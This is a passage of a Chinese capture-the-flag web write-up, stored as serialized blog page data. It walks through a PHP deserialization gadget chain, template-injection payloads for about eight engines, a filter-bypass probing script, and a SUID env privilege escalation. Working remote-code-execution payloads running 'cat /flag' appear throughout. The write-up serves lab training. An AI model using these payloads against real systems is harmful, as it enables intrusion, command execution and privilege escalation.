}\n}\n\n\nhighlight_file(__FILE__);\n\n$payload = $_GET[\"data_qc.bz2\"];\nif (isset($payload)) {\n    unserialize($payload);\n} else {\n    echo \"上传类型不对哦\";\n}\n?>\n上传类型不对哦\n",[33,2798,2796],{"__ignoreMap":94},[15,2800,2801,2802,2805,2806,2809,2810,2813,2814,2817,2818,311],{},"这一题的入口还是在 ",[33,2803,2804],{"code":2804},"StarRailCabin::__destruct()","。只要 ",[33,2807,2808],{"code":2808},"$needle"," 被设置过，就会先把它强转成字符串赋给 ",[33,2811,2812],{"code":2812},"$n","，然后检查三个条件：长度不能大于 ",[33,2815,2816],{"code":2816},"5","，必须是数字，而且数值要大于 ",[33,2819,2820],{"code":2820},"999999",[15,2822,2823,2824,2826,2827,2829,2830,1761,2833,1313,2836,2839,2840,311],{},"这几个条件放在一起看，其实是在逼我们构造一个“看起来长度不超过 ",[33,2825,2816],{"code":2816},"，但数值比较时又能大于 ",[33,2828,2820],{"code":2820},"”的值，可以用科学记数法绕过。后面一旦通过检查，就会执行 ",[33,2831,2832],{"code":2832},"$gate->partner = \"QingCen\"",[33,2834,2835],{"code":2835},"partner",[33,2837,2838],{"code":2838},"CatCafeGate"," 里并不存在，所以这里会触发 ",[33,2841,2842],{"code":2842},"CatCafeGate::__set()",[15,2844,2104,2845,2847,2848,2111,2851,1743,2854,2857,2858,2861,2862,2865,2866,2111,2869,2871,2872,311],{},[33,2846,2842],{"code":2842}," 之后，先取出 ",[33,2849,2850],{"code":2850},"$this->fortuneTeller",[33,2852,2853],{"code":2853},"$oracle",[33,2855,2856],{"code":2856},"$oracle()","。因此这里需要让 ",[33,2859,2860],{"code":2860},"$fortuneTeller"," 是一个可调用对象或可调用形式，并且返回值正好等于 ",[33,2863,2864],{"code":2864},"QingCen","。条件成立后，又会继续取出 ",[33,2867,2868],{"code":2868},"$this->sparkler",[33,2870,2124],{"code":2124},"，再执行 ",[33,2873,2874],{"code":2874},"$engine()",[15,2876,1749,2877,2880,2881,2884,2885,2887,2888,2890,2891,2894,2895,773,2898,2901,2902,311],{},[33,2878,2879],{"code":2879},"$sparkler"," 也必须是一个可调用对象，所以最自然的做法就是放一个 ",[33,2882,2883],{"code":2883},"KleeFirework"," 对象。因为 ",[33,2886,2883],{"code":2883}," 实现了 ",[33,2889,1764],{"code":1764},"，对象函数调用时会进入 ",[33,2892,2893],{"code":2893},"KleeFirework::__invoke()","，然后取出 ",[33,2896,2897],{"code":2897},"$spell",[33,2899,2900],{"code":2900},"$scroll","，执行 ",[33,2903,2904],{"code":2904},"$cast($words)",[15,2906,2907,2908,2910,2911,2913,2914,1799,2916,1799,2918,1799,2920,311],{},"所以最后的利用点就在这里：把 ",[33,2909,2897],{"code":2897}," 设成一个可调用函数，把真正要执行的内容放进 ",[33,2912,2900],{"code":2900},"，这样整条链子就会变成 ",[33,2915,2804],{"code":2804},[33,2917,2842],{"code":2842},[33,2919,2893],{"code":2893},[33,2921,2904],{"code":2904},[15,2923,2924,2925,2928,2929,2931,2932,2934,2935,773,2938,2941,2942,2945,2946,2948,2949,2952,2953,2956],{},"这一题还有一个额外的坑，不在对象链本身，而在参数名。源码里取的是 ",[33,2926,2927],{"code":2927},"$_GET[\"data_qc.bz2\"]","，但 ",[33,2930,2206],{"code":2206}," 解析 ",[33,2933,2504],{"code":2504}," 参数名时，空格、",[33,2936,2937],{"code":2937},".",[33,2939,2940],{"code":2940},"["," 都会参与特殊处理。正常直接传 ",[33,2943,2944],{"code":2944},"data_qc.bz2=..."," 的话，参数名里的 ",[33,2947,2937],{"code":2937}," 会被转换成 ",[33,2950,2951],{"code":2951},"_","，最后进到 ",[33,2954,2955],{"code":2955},"$_GET"," 里的键名就不是源码里要取的那个了。",[15,2958,2959,2960,2963,2964,2966,2967,2969,2970,2972,2973,2975,2976,2978,2979,2981],{},"解决办法就是把传入的变量名写成 ",[33,2961,2962],{"code":2962},"data[qc.bz2","。原因是 ",[33,2965,2206],{"code":2206}," 在解析参数名时，一旦遇到 ",[33,2968,2940],{"code":2940},"，就会把它当成数组语法的开始，这样后面的 ",[33,2971,2937],{"code":2937}," 就不会再被转换掉。也就是说，题目虽然代码里写的是 ",[33,2974,2927],{"code":2927},"，但真正传参时要用 ",[33,2977,2962],{"code":2962}," 这个名字去卡住 ",[33,2980,2206],{"code":2206}," 的参数名解析规则。",[15,2983,1635],{},[88,2985,2988],{"className":2986,"code":2987,"language":302,"meta":94},[300],"\u003C?php\nfinal class StarRailCabin {\n    public $catDoor;\n    public $needle = \"5e555\";\n}\n\nfinal class CatCafeGate {\n    public $fortuneTeller;\n}\n\nfinal class KleeFirework {\n    public $spell = \"system\";\n    public $scroll = \"cat \u002Fflag;\";\n}\n\n$s = new StarRailCabin();\n$c = new CatCafeGate();\n$k = new KleeFirework();\n$c->fortuneTeller = $k;\n$s->catDoor = $c;\necho serialize($s);\n\n?>\n\n",[33,2989,2987],{"__ignoreMap":94},[10,2991,2993],{"id":2992},"ezssti","EZSSTI",[15,2995,2996,2997,3000,3001,311],{},"Node.js 的，",[33,2998,2999],{"code":2999},"\u003C%= 7*7 %>"," 检测返回 49 ，是 EJS 引擎，直接读",[33,3002,3003],{"code":3003},"\u003C%= global.process.mainModule.require('child_process').execSync('cat \u002Fflag') %>",[10,3005,3007],{"id":3006},"ezssti_1","EZSSTI_1",[15,3009,3010,3011,3014,3015,3018],{},"还是 Node.js ，",[33,3012,3013],{"code":3013},"#{7*7}"," 返回 49 ，是 Pug  引擎，",[33,3016,3017],{"code":3017},"#{global.process.mainModule.require('child_process').execSync('cat \u002Fflag')}"," 这里需要查看源代码找到 flag 。",[10,3020,3022],{"id":3021},"ezssti_2","EZSSTI_2",[15,3024,3025,3026,173],{},"是 Nunjucks ，",[33,3027,3028],{"code":3028},"{{\"\".constructor.constructor(\"return this.process.mainModule.require('child_process').execSync('cat \u002Fflag').toString()\")()}}",[10,3030,3032],{"id":3031},"ezssti_3","EZSSTI_3",[15,3034,3035,3036,173],{},"用 whatweb 看一下是 php 的，测试是 Smarty ，",[33,3037,3038],{"code":3038},"{system('cat \u002Fflag')}",[10,3040,3042],{"id":3041},"ezssti_4","EZSSTI_4",[15,3044,3045,3046,173],{},"还是 php 的，Blade 的，",[33,3047,3048],{"code":3048},"@php   system(\"cat \u002Fflag\"); @endphp",[10,3050,3052],{"id":3051},"ezssti_5","EZSSTI_5",[15,3054,3055,3056,173],{},"还是 php ，Twig 的，",[33,3057,3058],{"code":3058},"{{_self.env.registerUndefinedFilterCallback(\"system\")}}{{_self.env.getFilter(\"cat \u002Fflag\")}}",[10,3060,3062],{"id":3061},"ezssti_6","EZSSTI_6",[15,3064,3065,3066,173],{},"经过测试发现是 Mako 。",[33,3067,3068],{"code":3068},"${__import__('os').popen('cat \u002Fflag').read()}",[10,3070,3072],{"id":3071},"ezssti_7","EZSSTI_7",[15,3074,3075,3076,3079,3080,3083,3084],{},"经过测试发现是 Jinja2 。",[33,3077,3078],{"code":3078},"{{\"\".__class__.__bases__[0].__subclasses__()}}"," 返回的有过滤，查看源代码找到返回的，用脚本找到",[33,3081,3082],{"code":3082},"os._wrap_close"," 是第141个，所以",[33,3085,3086],{"code":3086},"{{\"\".__class__.__bases__[0].__subclasses__()[141].__init__.__globals__['popen']('cat \u002Fflag').read()}}",[10,3088,3090],{"id":3089},"ezssti_8","EZSSTI_8",[15,3092,3093,3094,311],{},"还是 Jinja2。还用上一题的，",[33,3095,3086],{"code":3086},[10,3097,3099],{"id":3098},"ezssti_9","EZSSTI_9",[15,3101,3102,3103,311],{},"还能出，",[33,3104,3086],{"code":3086},[10,3106,3108],{"id":3107},"ezssti_10","EZSSTI_10",[15,3110,3111],{},"有过滤，写个脚本看看。",[88,3113,3116],{"className":3114,"code":3115,"language":470,"meta":94},[468],"import requests\n\nurl = \"http:\u002F\u002Fdocker.qingcen.net:41803\u002F?id=\"\n\ntests = [\n    \"{{7*7}}\",\n    \"__class__\",\n    \"__base__\",\n    \"__subclasses__\",\n    \"__globals__\",\n    \"popen\",\n    \"os\",\n    \"import\",\n    \"eval\",\n    \"builtins\",\n    \"cat\",\n    \"\u002Fflag\",\n    \"self\",\n    \"session\",\n    \"lipsum\",\n    \"cycler\",\n    \"namespace\",\n    \"Joiner\",\n    \"get_flashed_messages\",\n]\n\n\ndef check(keyword):\n    payload = \"{{\" + keyword + \"}}\"\n\n    try:\n        r = requests.get(\n            url + requests.utils.quote(payload),\n            timeout=5\n        )\n\n        text = r.text\n\n        print(\"=\" * 50)\n        print(\"测试:\", keyword)\n\n        # 判断关键字是否被过滤\n        if keyword in text:\n            print(\"[+] 未过滤\")\n        else:\n            print(\"[-] 可能被过滤\")\n\n        # 常见过滤提示\n        filters = [\n            \"危险关键字\",\n            \"禁止\",\n            \"illegal\",\n            \"forbidden\",\n            \"blocked\",\n            \"filter\"\n        ]\n\n        for f in filters:\n            if f.lower() in text.lower():\n                print(\"[!] 发现过滤提示:\", f)\n\n        print(\"响应长度:\", len(text))\n\n\n    except Exception as e:\n        print(\"请求错误:\", e)\n\n\nfor t in tests:\n    check(t)\n",[33,3117,3115],{"__ignoreMap":94},[15,3119,3120],{},"过滤了下面的",[88,3122,3125],{"className":3123,"code":3124,"language":470,"meta":94},[468],"__class__\n==================================================\n__base__\n==================================================\n__subclasses__\n==================================================\n__globals__\n==================================================\nimport\n==================================================\nself\n==================================================\nsession\n==================================================\nlipsum\n==================================================\ncycler\n==================================================\nnamespace\n==================================================\nJoiner\n==================================================\nget_flashed_messages\n\n",[33,3126,3124],{"__ignoreMap":94},[15,3128,3129,3130,3133],{},"url_for 没被过滤，用这个",[33,3131,3132],{"code":3132},"{{url_for.__globals__['os'].popen('cat \u002Fflag').read()}}","，这里面的关键字用 join 换一下。",[88,3135,3138],{"className":3136,"code":3137,"language":470,"meta":94},[468],"globals  dict(glob=a,al=b)|join\n\n{{url_for[dict(__glob=a,als__=b)|join]['os'].popen('cat \u002Fflag').read()}}\n",[33,3139,3137],{"__ignoreMap":94},[10,3141,3143],{"id":3142},"ezssti_12","EZSSTI_12",[15,3145,3146,3147,173],{},"上一题还能用，",[33,3148,3149],{"code":3149},"{{url_for[dict(__glob=a,als__=b)|join]['os'].popen('cat \u002Fflag').read()}}",[10,3151,3153],{"id":3152},"ezssti_13","EZSSTI_13",[15,3155,3156,3159],{},[33,3157,3158],{"code":3158},"cat \u002Fflag"," 没结果，但是命令是可以正常执行的，而且 static 目录也进不去。这里卡住了，看了下康可师傅的 wp ，得 suid 提权，同时队友说 env 有个 hint ，看一下。",[88,3161,3164],{"className":3162,"code":3163,"language":592,"meta":94},[590],"HOSTNAME=29bee48b6372\nOLDPWD=\u002Fopt\u002F___web_very_strange_42___\nPORT=80\nHOME=\u002Fopt\u002F___web_very_strange_42___\nPYTHONUNBUFFERED=1\nGPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D\nPYTHON_SHA256=8d3ed8ec5c88c1c95f5e558612a725450d2452813ddad5e58fdb1a53b1209b78\nWERKZEUG_SERVER_FD=3\nPYTHONDONTWRITEBYTECODE=1\nHINT=用我提个权吧\nPATH=\u002Fusr\u002Flocal\u002Fbin:\u002Fusr\u002Flocal\u002Fbin:\u002Fusr\u002Flocal\u002Fsbin:\u002Fusr\u002Flocal\u002Fbin:\u002Fusr\u002Fsbin:\u002Fusr\u002Fbin:\u002Fsbin:\u002Fbin\nLANG=C.UTF-8\nPYTHON_VERSION=3.11.14\nPWD=\u002Fopt\u002F___web_very_strange_42___\n",[33,3165,3163],{"__ignoreMap":94},[15,3167,3168,3169,3172],{},"再结合康神的 wp ，预期解应该是 env 后看到提示，然后想到 suid 提权，然后用",[33,3170,3171],{"code":3171},"\u002Fusr\u002Flocal\u002Fbin\u002Fenv","提权。",[15,3174,3175],{},"先找一下可以用来提权的。",[15,3177,3178,311],{},[33,3179,3180],{"code":3180},"{{url_for[dict(__glob=a,als__=b)|join]['os'].popen('find \u002F -perm -4000 -type f 2>\u002Fdev\u002Fnull').read()}}",[88,3182,3185],{"className":3183,"code":3184,"language":592,"meta":94},[590],"\u002Fusr\u002Fbin\u002Fmount\n\u002Fusr\u002Fbin\u002Fgpasswd\n\u002Fusr\u002Fbin\u002Fsu\n\u002Fusr\u002Fbin\u002Fchsh\n\u002Fusr\u002Fbin\u002Fnewgrp\n\u002Fusr\u002Fbin\u002Fchfn\n\u002Fusr\u002Fbin\u002Fumount\n\u002Fusr\u002Fbin\u002Fpasswd\n\u002Fusr\u002Flocal\u002Fbin\u002Fenv\n",[33,3186,3184],{"__ignoreMap":94},[15,3188,3189,3190,3192,3193,311],{},"正好就有",[33,3191,3171],{"code":3171},"，所以",[33,3194,3195],{"code":3195},"{{url_for[dict(__glob=a,als__=b)|join]['os'].popen('\u002Fusr\u002Flocal\u002Fbin\u002Fenv cat \u002Fflag').read()}}",[10,3197,3199],{"id":3198},"ezssti_14","EZSSTI_14",[15,3201,3202,3203,3206,3207,311],{},"无回显，写入静态文件，",[33,3204,3205],{"code":3205},"{{url_for[dict(__glob=a,als__=b)|join]['os'].popen('mkdir -p \u002Fapp\u002Fstatic;cat \u002Fflag > \u002Fapp\u002Fstatic\u002F1.txt 2>&1').read()}}","，再访问",[33,3208,3209],{"code":3209},"\u002Fstatic\u002F1.txt",{"title":94,"searchDepth":3211,"depth":3211,"links":3212},4,[3213,3215,3216,3217,3218,3219,3220,3221,3222,3223,3224,3225,3226,3227,3228,3229,3230,3231,3232,3233,3234,3235,3236,3237,3238,3239,3240,3241,3242,3243,3244,3245,3246,3247,3248,3249,3250,3251,3252,3253,3254,3255,3256,3257,3258,3259,3260,3261,3262,3263,3264,3265,3266,3267,3268,3269,3270,3271,3272,3273,3274,3275,3276,3277,3278,3279,3280,3281,3282,3283,3284,3285,3286,3287,3288,3289,3290,3291,3292,3293,3294,3295,3296,3297,3298,3299,3300,3301,3302,3303,3304,3305,3306,3307,3308,3309,3310,3311,3312,3313,3314,3315,3316,3317,3318,3319,3320,3321,3322,3323,3324,3325,3326,3327,3328,3329],{"id":12,"depth":3214,"text":13},2,{"id":20,"depth":3214,"text":21},{"id":45,"depth":3214,"text":46},{"id":56,"depth":3214,"text":57},{"id":67,"depth":3214,"text":68},{"id":82,"depth":3214,"text":83},{"id":102,"depth":3214,"text":103},{"id":109,"depth":3214,"text":110},{"id":124,"depth":3214,"text":125},{"id":143,"depth":3214,"text":144},{"id":158,"depth":3214,"text":159},{"id":176,"depth":3214,"text":177},{"id":228,"depth":3214,"text":229},{"id":235,"depth":3214,"text":236},{"id":242,"depth":3214,"text":243},{"id":273,"depth":3214,"text":274},{"id":280,"depth":3214,"text":281},{"id":295,"depth":3214,"text":296},{"id":314,"depth":3214,"text":315},{"id":339,"depth":3214,"text":340},{"id":371,"depth":3214,"text":372},{"id":421,"depth":3214,"text":422},{"id":431,"depth":3214,"text":432},{"id":441,"depth":3214,"text":442},{"id":451,"depth":3214,"text":452},{"id":460,"depth":3214,"text":461},{"id":475,"depth":3214,"text":476},{"id":484,"depth":3214,"text":485},{"id":492,"depth":3214,"text":493},{"id":502,"depth":3214,"text":503},{"id":516,"depth":3214,"text":517},{"id":520,"depth":3214,"text":521},{"id":524,"depth":3214,"text":525},{"id":528,"depth":3214,"text":529},{"id":532,"depth":3214,"text":533},{"id":536,"depth":3214,"text":537},{"id":540,"depth":3214,"text":541},{"id":544,"depth":3214,"text":545},{"id":561,"depth":3214,"text":562},{"id":582,"depth":3214,"text":583},{"id":600,"depth":3214,"text":601},{"id":712,"depth":3214,"text":713},{"id":719,"depth":3214,"text":720},{"id":723,"depth":3214,"text":724},{"id":727,"depth":3214,"text":728},{"id":731,"depth":3214,"text":732},{"id":742,"depth":3214,"text":743},{"id":761,"depth":3214,"text":762},{"id":784,"depth":3214,"text":785},{"id":798,"depth":3214,"text":799},{"id":811,"depth":3214,"text":812},{"id":835,"depth":3214,"text":836},{"id":896,"depth":3214,"text":897},{"id":977,"depth":3214,"text":978},{"id":987,"depth":3214,"text":988},{"id":1000,"depth":3214,"text":1001},{"id":1017,"depth":3214,"text":1018},{"id":1034,"depth":3214,"text":1035},{"id":1049,"depth":3214,"text":1050},{"id":1078,"depth":3214,"text":1079},{"id":1091,"depth":3214,"text":1092},{"id":1108,"depth":3214,"text":1109},{"id":1121,"depth":3214,"text":1122},{"id":1136,"depth":3214,"text":1137},{"id":1152,"depth":3214,"text":1153},{"id":1167,"depth":3214,"text":1168},{"id":1180,"depth":3214,"text":1181},{"id":1193,"depth":3214,"text":1194},{"id":1206,"depth":3214,"text":1207},{"id":1240,"depth":3214,"text":1241},{"id":1253,"depth":3214,"text":1254},{"id":1266,"depth":3214,"text":1267},{"id":1279,"depth":3214,"text":1280},{"id":1295,"depth":3214,"text":1296},{"id":1326,"depth":3214,"text":1327},{"id":1357,"depth":3214,"text":1358},{"id":1376,"depth":3214,"text":1377},{"id":1398,"depth":3214,"text":1399},{"id":1420,"depth":3214,"text":1421},{"id":1442,"depth":3214,"text":1443},{"id":1455,"depth":3214,"text":1456},{"id":1480,"depth":3214,"text":1481},{"id":1491,"depth":3214,"text":1492},{"id":1506,"depth":3214,"text":1507},{"id":1521,"depth":3214,"text":1522},{"id":1528,"depth":3214,"text":1529},{"id":1532,"depth":3214,"text":1533},{"id":1536,"depth":3214,"text":1537},{"id":1540,"depth":3214,"text":1541},{"id":1544,"depth":3214,"text":1545},{"id":1564,"depth":3214,"text":1565},{"id":1577,"depth":3214,"text":1578},{"id":1601,"depth":3214,"text":1602},{"id":1614,"depth":3214,"text":1615},{"id":1644,"depth":3214,"text":1645},{"id":1678,"depth":3214,"text":1679},{"id":1820,"depth":3214,"text":1821},{"id":2005,"depth":3214,"text":2006},{"id":2173,"depth":3214,"text":2174},{"id":2349,"depth":3214,"text":2350},{"id":2491,"depth":3214,"text":2492},{"id":2792,"depth":3214,"text":410},{"id":2992,"depth":3214,"text":2993},{"id":3006,"depth":3214,"text":3007},{"id":3021,"depth":3214,"text":3022},{"id":3031,"depth":3214,"text":3032},{"id":3041,"depth":3214,"text":3042},{"id":3051,"depth":3214,"text":3052},{"id":3061,"depth":3214,"text":3062},{"id":3071,"depth":3214,"text":3072},{"id":3089,"depth":3214,"text":3090},{"id":3098,"depth":3214,"text":3099},{"id":3107,"depth":3214,"text":3108},{"id":3142,"depth":3214,"text":3143},{"id":3152,"depth":3214,"text":3153},{"id":3198,"depth":3214,"text":3199},[3331],"CTF","2026-06-24 14:48:23","整理自青岑CTF靶场",false,"md","\u002F2026\u002F青岑CTF Web入门 WP\u002Fcover.jpg",{"slots":3338},{},true,"\u002F2026\u002Fctf-web-wp",null,{"text":3343,"minutes":3344,"time":3345,"words":3346},"44 min read",44,2640000,8800,{"title":5,"description":3333},{"loc":3340},"posts\u002F2026\u002F青岑CTF Web入门 WP",[],"tech","RVUp0tAUPqYyTu_VpnRZvHy0PdMX9mtvcuDFUXWfj1s",[3354,3359],{"title":3355,"path":3356,"stem":3357,"date":3358,"type":3351,"children":-1},"Java基础","\u002F2026\u002Fjava","posts\u002F2026\u002FJava基础","2026-06-22 14:38:15",{"title":3360,"path":3361,"stem":3362,"date":3363,"type":3351,"children":-1},"SSTI 漏洞","\u002F2026\u002Fssti","posts\u002F2026\u002FSSTI 漏洞","2026-07-14 08:48:45",1786110316741]